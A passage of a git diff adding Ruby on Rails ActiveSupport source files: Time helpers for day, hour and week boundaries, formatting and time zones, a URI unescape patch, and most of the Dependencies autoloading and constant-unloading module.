+ alias :at_beginning_of_day :beginning_of_day
+
+ # Returns a new Time representing the end of the day, 23:59:59.999999 (.999999999 in ruby1.9)
+ def end_of_day
+ change(
+ :hour => 23,
+ :min => 59,
+ :sec => 59,
+ :usec => Rational(999999999, 1000)
+ )
+ end
+ alias :at_end_of_day :end_of_day
+
+ # Returns a new Time representing the start of the hour (x:00)
+ def beginning_of_hour
+ change(:min => 0)
+ end
+ alias :at_beginning_of_hour :beginning_of_hour
+
+ # Returns a new Time representing the end of the hour, x:59:59.999999 (.999999999 in ruby1.9)
+ def end_of_hour
+ change(
+ :min => 59,
+ :sec => 59,
+ :usec => Rational(999999999, 1000)
+ )
+ end
+ alias :at_end_of_hour :end_of_hour
+
+ # Returns a new Time representing the start of the minute (x:xx:00)
+ def beginning_of_minute
+ change(:sec => 0)
+ end
+ alias :at_beginning_of_minute :beginning_of_minute
+
+ # Returns a new Time representing the end of the minute, x:xx:59.999999 (.999999999 in ruby1.9)
+ def end_of_minute
+ change(
+ :sec => 59,
+ :usec => Rational(999999999, 1000)
+ )
+ end
+ alias :at_end_of_minute :end_of_minute
+
+ # Returns a Range representing the whole day of the current time.
+ def all_day
+ beginning_of_day..end_of_day
+ end
+
+ # Returns a Range representing the whole week of the current time.
+ # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
+ def all_week(start_day = Date.beginning_of_week)
+ beginning_of_week(start_day)..end_of_week(start_day)
+ end
+
+ # Returns a Range representing the whole month of the current time.
+ def all_month
+ beginning_of_month..end_of_month
+ end
+
+ # Returns a Range representing the whole quarter of the current time.
+ def all_quarter
+ beginning_of_quarter..end_of_quarter
+ end
+
+ # Returns a Range representing the whole year of the current time.
+ def all_year
+ beginning_of_year..end_of_year
+ end
+
+ def plus_with_duration(other) #:nodoc:
+ if ActiveSupport::Duration === other
+ other.since(self)
+ else
+ plus_without_duration(other)
+ end
+ end
+ alias_method :plus_without_duration, :+
+ alias_method :+, :plus_with_duration
+
+ def minus_with_duration(other) #:nodoc:
+ if ActiveSupport::Duration === other
+ other.until(self)
+ else
+ minus_without_duration(other)
+ end
+ end
+ alias_method :minus_without_duration, :-
+ alias_method :-, :minus_with_duration
+
+ # Time#- can also be used to determine the number of seconds between two Time instances.
+ # We're layering on additional behavior so that ActiveSupport::TimeWithZone instances
+ # are coerced into values that Time#- will recognize
+ def minus_with_coercion(other)
+ other = other.comparable_time if other.respond_to?(:comparable_time)
+ other.is_a?(DateTime) ? to_f - other.to_f : minus_without_coercion(other)
+ end
+ alias_method :minus_without_coercion, :-
+ alias_method :-, :minus_with_coercion
+
+ # Layers additional behavior on Time#<=> so that DateTime and ActiveSupport::TimeWithZone instances
+ # can be chronologically compared with a Time
+ def compare_with_coercion(other)
+ # we're avoiding Time#to_datetime cause it's expensive
+ if other.is_a?(Time)
+ compare_without_coercion(other.to_time)
+ else
+ to_datetime <=> other
+ end
+ end
+ alias_method :compare_without_coercion, :<=>
+ alias_method :<=>, :compare_with_coercion
+
+ # Layers additional behavior on Time#eql? so that ActiveSupport::TimeWithZone instances
+ # can be eql? to an equivalent Time
+ def eql_with_coercion(other)
+ # if other is an ActiveSupport::TimeWithZone, coerce a Time instance from it so we can do eql? comparison
+ other = other.comparable_time if other.respond_to?(:comparable_time)
+ eql_without_coercion(other)
+ end
+ alias_method :eql_without_coercion, :eql?
+ alias_method :eql?, :eql_with_coercion
+
+end
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
new file mode 100644
index 0000000..48654eb
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -0,0 +1,63 @@
+require 'active_support/inflector/methods'
+require 'active_support/values/time_zone'
+
+class Time
+ DATE_FORMATS = {
+ :db => '%Y-%m-%d %H:%M:%S',
+ :number => '%Y%m%d%H%M%S',
+ :nsec => '%Y%m%d%H%M%S%9N',
+ :time => '%H:%M',
+ :short => '%d %b %H:%M',
+ :long => '%B %d, %Y %H:%M',
+ :long_ordinal => lambda { |time|
+ day_format = ActiveSupport::Inflector.ordinalize(time.day)
+ time.strftime("%B #{day_format}, %Y %H:%M")
+ },
+ :rfc822 => lambda { |time|
+ offset_format = time.formatted_offset(false)
+ time.strftime("%a, %d %b %Y %H:%M:%S #{offset_format}")
+ }
+ }
+
+ # Converts to a formatted string. See DATE_FORMATS for builtin formats.
+ #
+ # This method is aliased to <tt>to_s</tt>.
+ #
+ # time = Time.now # => Thu Jan 18 06:10:17 CST 2007
+ #
+ # time.to_formatted_s(:time) # => "06:10"
+ # time.to_s(:time) # => "06:10"
+ #
+ # time.to_formatted_s(:db) # => "2007-01-18 06:10:17"
+ # time.to_formatted_s(:number) # => "20070118061017"
+ # time.to_formatted_s(:short) # => "18 Jan 06:10"
+ # time.to_formatted_s(:long) # => "January 18, 2007 06:10"
+ # time.to_formatted_s(:long_ordinal) # => "January 18th, 2007 06:10"
+ # time.to_formatted_s(:rfc822) # => "Thu, 18 Jan 2007 06:10:17 -0600"
+ #
+ # == Adding your own time formats to +to_formatted_s+
+ # You can add your own formats to the Time::DATE_FORMATS hash.
+ # Use the format name as the hash key and either a strftime string
+ # or Proc instance that takes a time argument as the value.
+ #
+ # # config/initializers/time_formats.rb
+ # Time::DATE_FORMATS[:month_and_year] = '%B %Y'
+ # Time::DATE_FORMATS[:short_ordinal] = ->(time) { time.strftime("%B #{time.day.ordinalize}") }
+ def to_formatted_s(format = :default)
+ if formatter = DATE_FORMATS[format]
+ formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+ else
+ to_default_s
+ end
+ end
+ alias_method :to_default_s, :to_s
+ alias_method :to_s, :to_formatted_s
+
+ # Returns the UTC offset as an +HH:MM formatted string.
+ #
+ # Time.local(2000).formatted_offset # => "-06:00"
+ # Time.local(2000).formatted_offset(false) # => "-0600"
+ def formatted_offset(colon = true, alternate_utc_string = nil)
+ utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/time/infinite_comparable.rb b/activesupport/lib/active_support/core_ext/time/infinite_comparable.rb
new file mode 100644
index 0000000..6379588
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/infinite_comparable.rb
@@ -0,0 +1,5 @@
+require 'active_support/core_ext/infinite_comparable'
+
+class Time
+ include InfiniteComparable
+end
diff --git a/activesupport/lib/active_support/core_ext/time/marshal.rb b/activesupport/lib/active_support/core_ext/time/marshal.rb
new file mode 100644
index 0000000..497c4c3
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/marshal.rb
@@ -0,0 +1,30 @@
+# Ruby 1.9.2 adds utc_offset and zone to Time, but marshaling only
+# preserves utc_offset. Preserve zone also, even though it may not
+# work in some edge cases.
+if Time.local(2010).zone != Marshal.load(Marshal.dump(Time.local(2010))).zone
+ class Time
+ class << self
+ alias_method :_load_without_zone, :_load
+ def _load(marshaled_time)
+ time = _load_without_zone(marshaled_time)
+ time.instance_eval do
+ if zone = defined?(@_zone) && remove_instance_variable('@_zone')
+ ary = to_a
+ ary[0] += subsec if ary[0] == sec
+ ary[-1] = zone
+ utc? ? Time.utc(*ary) : Time.local(*ary)
+ else
+ self
+ end
+ end
+ end
+ end
+
+ alias_method :_dump_without_zone, :_dump
+ def _dump(*args)
+ obj = dup
+ obj.instance_variable_set('@_zone', zone)
+ obj.send :_dump_without_zone, *args
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/time/zones.rb b/activesupport/lib/active_support/core_ext/time/zones.rb
new file mode 100644
index 0000000..139d48f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/zones.rb
@@ -0,0 +1,96 @@
+require 'active_support/time_with_zone'
+
+class Time
+ class << self
+ attr_accessor :zone_default
+
+ # Returns the TimeZone for the current request, if this has been set (via Time.zone=).
+ # If <tt>Time.zone</tt> has not been set for the current request, returns the TimeZone specified in <tt>config.time_zone</tt>.
+ def zone
+ Thread.current[:time_zone] || zone_default
+ end
+
+ # Sets <tt>Time.zone</tt> to a TimeZone object for the current request/thread.
+ #
+ # This method accepts any of the following:
+ #
+ # * A Rails TimeZone object.
+ # * An identifier for a Rails TimeZone object (e.g., "Eastern Time (US & Canada)", <tt>-5.hours</tt>).
+ # * A TZInfo::Timezone object.
+ # * An identifier for a TZInfo::Timezone object (e.g., "America/New_York").
+ #
+ # Here's an example of how you might set <tt>Time.zone</tt> on a per request basis and reset it when the request is done.
+ # <tt>current_user.time_zone</tt> just needs to return a string identifying the user's preferred time zone:
+ #
+ # class ApplicationController < ActionController::Base
+ # around_filter :set_time_zone
+ #
+ # def set_time_zone
+ # if logged_in?
+ # Time.use_zone(current_user.time_zone) { yield }
+ # else
+ # yield
+ # end
+ # end
+ # end
+ def zone=(time_zone)
+ Thread.current[:time_zone] = find_zone!(time_zone)
+ end
+
+ # Allows override of <tt>Time.zone</tt> locally inside supplied block; resets <tt>Time.zone</tt> to existing value when done.
+ def use_zone(time_zone)
+ new_zone = find_zone!(time_zone)
+ begin
+ old_zone, ::Time.zone = ::Time.zone, new_zone
+ yield
+ ensure
+ ::Time.zone = old_zone
+ end
+ end
+
+ # Returns a TimeZone instance or nil, or raises an ArgumentError for invalid timezones.
+ def find_zone!(time_zone)
+ if !time_zone || time_zone.is_a?(ActiveSupport::TimeZone)
+ time_zone
+ else
+ # lookup timezone based on identifier (unless we've been passed a TZInfo::Timezone)
+ unless time_zone.respond_to?(:period_for_local)
+ time_zone = ActiveSupport::TimeZone[time_zone] || TZInfo::Timezone.get(time_zone)
+ end
+
+ # Return if a TimeZone instance, or wrap in a TimeZone instance if a TZInfo::Timezone
+ if time_zone.is_a?(ActiveSupport::TimeZone)
+ time_zone
+ else
+ ActiveSupport::TimeZone.create(time_zone.name, nil, time_zone)
+ end
+ end
+ rescue TZInfo::InvalidTimezoneIdentifier
+ raise ArgumentError, "Invalid Timezone: #{time_zone}"
+ end
+
+ def find_zone(time_zone)
+ find_zone!(time_zone) rescue nil
+ end
+ end
+
+ # Returns the simultaneous time in <tt>Time.zone</tt>.
+ #
+ # Time.zone = 'Hawaii' # => 'Hawaii'
+ # Time.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+ #
+ # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
+ # instead of the operating system's time zone.
+ #
+ # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
+ # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
+ #
+ # Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+ def in_time_zone(zone = ::Time.zone)
+ if zone
+ ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
+ else
+ self
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/uri.rb b/activesupport/lib/active_support/core_ext/uri.rb
new file mode 100644
index 0000000..bfe0832
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/uri.rb
@@ -0,0 +1,26 @@
+# encoding: utf-8
+
+require 'uri'
+str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
+parser = URI::Parser.new
+
+unless str == parser.unescape(parser.escape(str))
+ URI::Parser.class_eval do
+ remove_method :unescape
+ def unescape(str, escaped = /%[a-fA-F\d]{2}/)
+ # TODO: Are we actually sure that ASCII == UTF-8?
+ # YK: My initial experiments say yes, but let's be sure please
+ enc = str.encoding
+ enc = Encoding::UTF_8 if enc == Encoding::US_ASCII
+ str.gsub(escaped) { [$&[1, 2].hex].pack('C') }.force_encoding(enc)
+ end
+ end
+end
+
+module URI
+ class << self
+ def parser
+ @parser ||= URI::Parser.new
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
new file mode 100644
index 0000000..fff4c77
--- /dev/null
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -0,0 +1,722 @@
+require 'set'
+require 'thread'
+require 'thread_safe'
+require 'pathname'
+require 'active_support/core_ext/module/aliasing'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/module/introspection'
+require 'active_support/core_ext/module/anonymous'
+require 'active_support/core_ext/module/qualified_const'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/load_error'
+require 'active_support/core_ext/name_error'
+require 'active_support/core_ext/string/starts_ends_with'
+require 'active_support/inflector'
+
+module ActiveSupport #:nodoc:
+ module Dependencies #:nodoc:
+ extend self
+
+ # Should we turn on Ruby warnings on the first load of dependent files?
+ mattr_accessor :warnings_on_first_load
+ self.warnings_on_first_load = false
+
+ # All files ever loaded.
+ mattr_accessor :history
+ self.history = Set.new
+
+ # All files currently loaded.
+ mattr_accessor :loaded
+ self.loaded = Set.new
+
+ # Should we load files or require them?
+ mattr_accessor :mechanism
+ self.mechanism = ENV['NO_RELOAD'] ? :require : :load
+
+ # The set of directories from which we may automatically load files. Files
+ # under these directories will be reloaded on each request in development mode,
+ # unless the directory also appears in autoload_once_paths.
+ mattr_accessor :autoload_paths
+ self.autoload_paths = []
+
+ # The set of directories from which automatically loaded constants are loaded
+ # only once. All directories in this set must also be present in +autoload_paths+.
+ mattr_accessor :autoload_once_paths
+ self.autoload_once_paths = []
+
+ # An array of qualified constant names that have been loaded. Adding a name
+ # to this array will cause it to be unloaded the next time Dependencies are
+ # cleared.
+ mattr_accessor :autoloaded_constants
+ self.autoloaded_constants = []
+
+ # An array of constant names that need to be unloaded on every request. Used
+ # to allow arbitrary constants to be marked for unloading.
+ mattr_accessor :explicitly_unloadable_constants
+ self.explicitly_unloadable_constants = []
+
+ # The logger is used for generating information on the action run-time
+ # (including benchmarking) if available. Can be set to nil for no logging.
+ # Compatible with both Ruby's own Logger and Log4r loggers.
+ mattr_accessor :logger
+
+ # Set to +true+ to enable logging of const_missing and file loads.
+ mattr_accessor :log_activity
+ self.log_activity = false
+
+ # The WatchStack keeps a stack of the modules being watched as files are
+ # loaded. If a file in the process of being loaded (parent.rb) triggers the
+ # load of another file (child.rb) the stack will ensure that child.rb
+ # handles the new constants.
+ #
+ # If child.rb is being autoloaded, its constants will be added to
+ # autoloaded_constants. If it was being `require`d, they will be discarded.
+ #
+ # This is handled by walking back up the watch stack and adding the constants
+ # found by child.rb to the list of original constants in parent.rb.
+ class WatchStack
+ include Enumerable
+
+ # @watching is a stack of lists of constants being watched. For instance,
+ # if parent.rb is autoloaded, the stack will look like [[Object]]. If
+ # parent.rb then requires namespace/child.rb, the stack will look like
+ # [[Object], [Namespace]].
+
+ def initialize
+ @watching = []
+ @stack = Hash.new { |h,k| h[k] = [] }
+ end
+
+ def each(&block)
+ @stack.each(&block)
+ end
+
+ def watching?
+ !@watching.empty?
+ end
+
+ # Returns a list of new constants found since the last call to
+ # <tt>watch_namespaces</tt>.
+ def new_constants
+ constants = []
+
+ # Grab the list of namespaces that we're looking for new constants under
+ @watching.last.each do |namespace|
+ # Retrieve the constants that were present under the namespace when watch_namespaces
+ # was originally called
+ original_constants = @stack[namespace].last
+
+ mod = Inflector.constantize(namespace) if Dependencies.qualified_const_defined?(namespace)
+ next unless mod.is_a?(Module)
+
+ # Get a list of the constants that were added
+ new_constants = mod.local_constants - original_constants
+
+ # self[namespace] returns an Array of the constants that are being evaluated
+ # for that namespace. For instance, if parent.rb requires child.rb, the first
+ # element of self[Object] will be an Array of the constants that were present
+ # before parent.rb was required. The second element will be an Array of the
+ # constants that were present before child.rb was required.
+ @stack[namespace].each do |namespace_constants|
+ namespace_constants.concat(new_constants)
+ end
+
+ # Normalize the list of new constants, and add them to the list we will return
+ new_constants.each do |suffix|
+ constants << ([namespace, suffix] - ["Object"]).join("::")
+ end
+ end
+ constants
+ ensure
+ # A call to new_constants is always called after a call to watch_namespaces
+ pop_modules(@watching.pop)
+ end
+
+ # Add a set of modules to the watch stack, remembering the initial
+ # constants.
+ def watch_namespaces(namespaces)
+ @watching << namespaces.map do |namespace|
+ module_name = Dependencies.to_constant_name(namespace)
+ original_constants = Dependencies.qualified_const_defined?(module_name) ?
+ Inflector.constantize(module_name).local_constants : []
+
+ @stack[module_name] << original_constants
+ module_name
+ end
+ end
+
+ private
+ def pop_modules(modules)
+ modules.each { |mod| @stack[mod].pop }
+ end
+ end
+
+ # An internal stack used to record which constants are loaded by any block.
+ mattr_accessor :constant_watch_stack
+ self.constant_watch_stack = WatchStack.new
+
+ # Module includes this module.
+ module ModuleConstMissing #:nodoc:
+ def self.append_features(base)
+ base.class_eval do
+ # Emulate #exclude via an ivar
+ return if defined?(@_const_missing) && @_const_missing
+ @_const_missing = instance_method(:const_missing)
+ remove_method(:const_missing)
+ end
+ super
+ end
+
+ def self.exclude_from(base)
+ base.class_eval do
+ define_method :const_missing, @_const_missing
+ @_const_missing = nil
+ end
+ end
+
+ def const_missing(const_name)
+ # The interpreter does not pass nesting information, and in the
+ # case of anonymous modules we cannot even make the trade-off of
+ # assuming their name reflects the nesting. Resort to Object as
+ # the only meaningful guess we can make.
+ from_mod = anonymous? ? ::Object : self
+ Dependencies.load_missing_constant(from_mod, const_name)
+ end
+
+ def unloadable(const_desc = self)
+ super(const_desc)
+ end
+ end
+
+ # Object includes this module.
+ module Loadable #:nodoc:
+ def self.exclude_from(base)
+ base.class_eval { define_method(:load, Kernel.instance_method(:load)) }
+ end
+
+ def require_or_load(file_name)
+ Dependencies.require_or_load(file_name)
+ end
+
+ def require_dependency(file_name, message = "No such file to load -- %s")
+ unless file_name.is_a?(String)
+ raise ArgumentError, "the file name must be a String -- you passed #{file_name.inspect}"
+ end
+
+ Dependencies.depend_on(file_name, message)
+ end
+
+ def load_dependency(file)
+ if Dependencies.load? && ActiveSupport::Dependencies.constant_watch_stack.watching?
+ Dependencies.new_constants_in(Object) { yield }
+ else
+ yield
+ end
+ rescue Exception => exception # errors from loading file
+ exception.blame_file! file
+ raise
+ end
+
+ def load(file, wrap = false)
+ result = false
+ load_dependency(file) { result = super }
+ result
+ end
+
+ def require(file)
+ result = false
+ load_dependency(file) { result = super }
+ result
+ end
+
+ # Mark the given constant as unloadable. Unloadable constants are removed
+ # each time dependencies are cleared.
+ #
+ # Note that marking a constant for unloading need only be done once. Setup
+ # or init scripts may list each unloadable constant that may need unloading;
+ # each constant will be removed for every subsequent clear, as opposed to
+ # for the first clear.
+ #
+ # The provided constant descriptor may be a (non-anonymous) module or class,
+ # or a qualified constant name as a string or symbol.
+ #
+ # Returns +true+ if the constant was not previously marked for unloading,
+ # +false+ otherwise.
+ def unloadable(const_desc)
+ Dependencies.mark_for_unload const_desc
+ end
+ end
+
+ # Exception file-blaming.
+ module Blamable #:nodoc:
+ def blame_file!(file)
+ (@blamed_files ||= []).unshift file
+ end
+
+ def blamed_files
+ @blamed_files ||= []
+ end
+
+ def describe_blame
+ return nil if blamed_files.empty?
+ "This error occurred while loading the following files:\n #{blamed_files.join "\n "}"
+ end
+
+ def copy_blame!(exc)
+ @blamed_files = exc.blamed_files.clone
+ self
+ end
+ end
+
+ def hook!
+ Object.class_eval { include Loadable }
+ Module.class_eval { include ModuleConstMissing }
+ Exception.class_eval { include Blamable }
+ end
+
+ def unhook!
+ ModuleConstMissing.exclude_from(Module)
+ Loadable.exclude_from(Object)
+ end
+
+ def load?
+ mechanism == :load
+ end
+
+ def depend_on(file_name, message = "No such file to load -- %s.rb")
+ path = search_for_file(file_name)
+ require_or_load(path || file_name)
+ rescue LoadError => load_error
+ if file_name = load_error.message[/ -- (.*?)(\.rb)?$/, 1]
+ load_error.message.replace(message % file_name)
+ load_error.copy_blame!(load_error)
+ end
+ raise
+ end
+
+ def clear
+ log_call
+ loaded.clear
+ remove_unloadable_constants!
+ end
+
+ def require_or_load(file_name, const_path = nil)
+ log_call file_name, const_path
+ file_name = $` if file_name =~ /\.rb\z/
+ expanded = File.expand_path(file_name)
+ return if loaded.include?(expanded)
+
+ # Record that we've seen this file *before* loading it to avoid an
+ # infinite loop with mutual dependencies.
+ loaded << expanded
+
+ begin
+ if load?
+ log "loading #{file_name}"
+
+ # Enable warnings if this file has not been loaded before and
+ # warnings_on_first_load is set.
+ load_args = ["#{file_name}.rb"]
+ load_args << const_path unless const_path.nil?
+
+ if !warnings_on_first_load or history.include?(expanded)
+ result = load_file(*load_args)
+ else
+ enable_warnings { result = load_file(*load_args) }
+ end
+ else
+ log "requiring #{file_name}"
+ result = require file_name
+ end
+ rescue Exception
+ loaded.delete expanded
+ raise
+ end
+
+ # Record history *after* loading so first load gets warnings.
+ history << expanded
+ result
+ end
+
+ # Is the provided constant path defined?
+ def qualified_const_defined?(path)
+ Object.qualified_const_defined?(path.sub(/^::/, ''), false)
+ end
+
+ # Given +path+, a filesystem path to a ruby file, return an array of
+ # constant paths which would cause Dependencies to attempt to load this
+ # file.
+ def loadable_constants_for_path(path, bases = autoload_paths)
+ path = $` if path =~ /\.rb\z/
+ expanded_path = File.expand_path(path)
+ paths = []
+
+ bases.each do |root|
+ expanded_root = File.expand_path(root)
+ next unless %r{\A#{Regexp.escape(expanded_root)}(/|\\)} =~ expanded_path
+
+ nesting = expanded_path[(expanded_root.size)..-1]
+ nesting = nesting[1..-1] if nesting && nesting[0] == ?/
+ next if nesting.blank?
+
+ paths << nesting.camelize
+ end
+
+ paths.uniq!
+ paths
+ end
+
+ # Search for a file in autoload_paths matching the provided suffix.
+ def search_for_file(path_suffix)
+ path_suffix = path_suffix.sub(/(\.rb)?$/, ".rb")
+
+ autoload_paths.each do |root|
+ path = File.join(root, path_suffix)
+ return path if File.file? path
+ end
+ nil # Gee, I sure wish we had first_match ;-)
+ end
+
+ # Does the provided path_suffix correspond to an autoloadable module?
+ # Instead of returning a boolean, the autoload base for this module is
+ # returned.
+ def autoloadable_module?(path_suffix)
+ autoload_paths.each do |load_path|
+ return load_path if File.directory? File.join(load_path, path_suffix)
+ end
+ nil
+ end
+
+ def load_once_path?(path)
+ # to_s works around a ruby1.9 issue where #starts_with?(Pathname) will always return false
+ autoload_once_paths.any? { |base| path.starts_with? base.to_s }
+ end
+
+ # Attempt to autoload the provided module name by searching for a directory
+ # matching the expected path suffix. If found, the module is created and
+ # assigned to +into+'s constants with the name +const_name+. Provided that
+ # the directory was loaded from a reloadable base path, it is added to the
+ # set of constants that are to be unloaded.
+ def autoload_module!(into, const_name, qualified_name, path_suffix)
+ return nil unless base_path = autoloadable_module?(path_suffix)
+ mod = Module.new
+ into.const_set const_name, mod
+ autoloaded_constants << qualified_name unless autoload_once_paths.include?(base_path)
+ mod
+ end
+
+ # Load the file at the provided path. +const_paths+ is a set of qualified
+ # constant names. When loading the file, Dependencies will watch for the
+ # addition of these constants. Each that is defined will be marked as
+ # autoloaded, and will be removed when Dependencies.clear is next called.
+ #
+ # If the second parameter is left off, then Dependencies will construct a
+ # set of names that the file at +path+ may define. See
+ # +loadable_constants_for_path+ for more details.
+ def load_file(path, const_paths = loadable_constants_for_path(path))
+ log_call path, const_paths
+ const_paths = [const_paths].compact unless const_paths.is_a? Array
+ parent_paths = const_paths.collect { |const_path| const_path[/.*(?=::)/] || :Object }
+
+ result = nil
+ newly_defined_paths = new_constants_in(*parent_paths) do
+ result = Kernel.load path
+ end
+
+ autoloaded_constants.concat newly_defined_paths unless load_once_path?(path)
+ autoloaded_constants.uniq!
+ log "loading #{path} defined #{newly_defined_paths * ', '}" unless newly_defined_paths.empty?
+ result
+ end
+
+ # Returns the constant path for the provided parent and constant name.
+ def qualified_name_for(mod, name)
+ mod_name = to_constant_name mod
+ mod_name == "Object" ? name.to_s : "#{mod_name}::#{name}"
+ end
+
+ # Load the constant named +const_name+ which is missing from +from_mod+. If
+ # it is not possible to load the constant into from_mod, try its parent
+ # module using +const_missing+.
+ def load_missing_constant(from_mod, const_name)
+ log_call from_mod, const_name
+
+ unless qualified_const_defined?(from_mod.name) && Inflector.constantize(from_mod.name).equal?(from_mod)
+ raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
+ end
+
+ raise NameError, "#{from_mod} is not missing constant #{const_name}!" if from_mod.const_defined?(const_name, false)
+
+ qualified_name = qualified_name_for from_mod, const_name
+ path_suffix = qualified_name.underscore
+
+ file_path = search_for_file(path_suffix)
+
+ if file_path
+ expanded = File.expand_path(file_path)
+ expanded.sub!(/\.rb\z/, '')
+
+ if loaded.include?(expanded)
+ raise "Circular dependency detected while autoloading constant #{qualified_name}"
+ else
+ require_or_load(expanded)
+ raise LoadError, "Unable to autoload constant #{qualified_name}, expected #{file_path} to define it" unless from_mod.const_defined?(const_name, false)
+ return from_mod.const_get(const_name)
+ end
+ elsif mod = autoload_module!(from_mod, const_name, qualified_name, path_suffix)
+ return mod
+ elsif (parent = from_mod.parent) && parent != from_mod &&
+ ! from_mod.parents.any? { |p| p.const_defined?(const_name, false) }
+ # If our parents do not have a constant named +const_name+ then we are free
+ # to attempt to load upwards. If they do have such a constant, then this
+ # const_missing must be due to from_mod::const_name, which should not
+ # return constants from from_mod's parents.
+ begin
+ # Since Ruby does not pass the nesting at the point the unknown
+ # constant triggered the callback we cannot fully emulate constant
+ # name lookup and need to make a trade-off: we are going to assume
+ # that the nesting in the body of Foo::Bar is [Foo::Bar, Foo] even
+ # though it might not be. Counterexamples are
+ #
+ # class Foo::Bar
+ # Module.nesting # => [Foo::Bar]
+ # end
+ #
+ # or
+ #
+ # module M::N
+ # module S::T
+ # Module.nesting # => [S::T, M::N]
+ # end
+ # end
+ #
+ # for example.
+ return parent.const_missing(const_name)
+ rescue NameError => e
+ raise unless e.missing_name? qualified_name_for(parent, const_name)
+ end
+ end
+
+ raise NameError,
+ "uninitialized constant #{qualified_name}",
+ caller.reject { |l| l.starts_with? __FILE__ }
+ end
+
+ # Remove the constants that have been autoloaded, and those that have been
+ # marked for unloading. Before each constant is removed a callback is sent
+ # to its class/module if it implements +before_remove_const+.
+ #
+ # The callback implementation should be restricted to cleaning up caches, etc.
+ # as the environment will be in an inconsistent state, e.g. other constants
+ # may have already been unloaded and not accessible.
+ def remove_unloadable_constants!
+ autoloaded_constants.each { |const| remove_constant const }
+ autoloaded_constants.clear
+ Reference.clear!
+ explicitly_unloadable_constants.each { |const| remove_constant const }
+ end
+
+ class ClassCache
+ def initialize
+ @store = ThreadSafe::Cache.new
+ end
+
+ def empty?
+ @store.empty?
+ end
+
+ def key?(key)
+ @store.key?(key)
+ end
+
+ def get(key)
+ key = key.name if key.respond_to?(:name)
+ @store[key] ||= Inflector.constantize(key)
+ end
+ alias :[] :get
+
+ def safe_get(key)
+ key = key.name if key.respond_to?(:name)
+ @store[key] ||= Inflector.safe_constantize(key)
+ end
+
+ def store(klass)
+ return self unless klass.respond_to?(:name)
+ raise(ArgumentError, 'anonymous classes cannot be cached') if klass.name.empty?
+ @store[klass.name] = klass
+ self
+ end
+
+ def clear!
+ @store.clear
+ end
+ end
+
+ Reference = ClassCache.new
+
+ # Store a reference to a class +klass+.
+ def reference(klass)
+ Reference.store klass
+ end
+
+ # Get the reference for class named +name+.
+ # Raises an exception if referenced class does not exist.
+ def constantize(name)
+ Reference.get(name)
+ end
+
+ # Get the reference for class named +name+ if one exists.
+ # Otherwise returns +nil+.
+ def safe_constantize(name)
+ Reference.safe_get(name)
+ end
+
+ # Determine if the given constant has been automatically loaded.
+ def autoloaded?(desc)
+ return false if desc.is_a?(Module) && desc.anonymous?
+ name = to_constant_name desc
+ return false unless qualified_const_defined? name
+ return autoloaded_constants.include?(name)
+ end
+
+ # Will the provided constant descriptor be unloaded?
+ def will_unload?(const_desc)
+ autoloaded?(const_desc) ||
+ explicitly_unloadable_constants.include?(to_constant_name(const_desc))
+ end
+
+ # Mark the provided constant name for unloading. This constant will be
+ # unloaded on each request, not just the next one.
+ def mark_for_unload(const_desc)
+ name = to_constant_name const_desc
+ if explicitly_unloadable_constants.include? name
+ false
+ else
+ explicitly_unloadable_constants << name
+ true
+ end
+ end
+
+ # Run the provided block and detect the new constants that were loaded during
+ # its execution. Constants may only be regarded as 'new' once -- so if the
+ # block calls +new_constants_in+ again, then the constants defined within the
+ # inner call will not be reported in this one.
+ #
+ # If the provided block does not run to completion, and instead raises an
+ # exception, any new constants are regarded as being only partially defined
+ # and will be removed immediately.
+ def new_constants_in(*descs)
+ log_call(*descs)
+
+ constant_watch_stack.watch_namespaces(descs)
+ aborting = true
+
+ begin
+ yield # Now yield to the code that is to define new constants.
+ aborting = false
+ ensure
+ new_constants = constant_watch_stack.new_constants
+
+ log "New constants: #{new_constants * ', '}"
+ return new_constants unless aborting
+
+ log "Error during loading, removing partially loaded constants "
+ new_constants.each { |c| remove_constant(c) }.clear
+ end
+
+ []
+ end
+
+ # Convert the provided const desc to a qualified constant name (as a string).
+ # A module, class, symbol, or string may be provided.
+ def to_constant_name(desc) #:nodoc:
+ case desc
+ when String then desc.sub(/^::/, '')
+ when Symbol then desc.to_s
+ when Module
+ desc.name.presence ||
+ raise(ArgumentError, "Anonymous modules have no name to be referenced by")
+ else raise TypeError, "Not a valid constant descriptor: #{desc.inspect}"
+ end
+ end
+
+ def remove_constant(const) #:nodoc:
+ # Normalize ::Foo, ::Object::Foo, Object::Foo, Object::Object::Foo, etc. as Foo.
+ normalized = const.to_s.sub(/\A::/, '')
+ normalized.sub!(/\A(Object::)+/, '')
+
+ constants = normalized.split('::')
+ to_remove = constants.pop
+
+ if constants.empty?
+ parent = Object
+ else
+ # This method is robust to non-reachable constants.
+ #
+ # Non-reachable constants may be passed if some of the parents were
+ # autoloaded and already removed. It is easier to do a sanity check
+ # here than require the caller to be clever. We check the parent
+ # rather than the very const argument because we do not want to
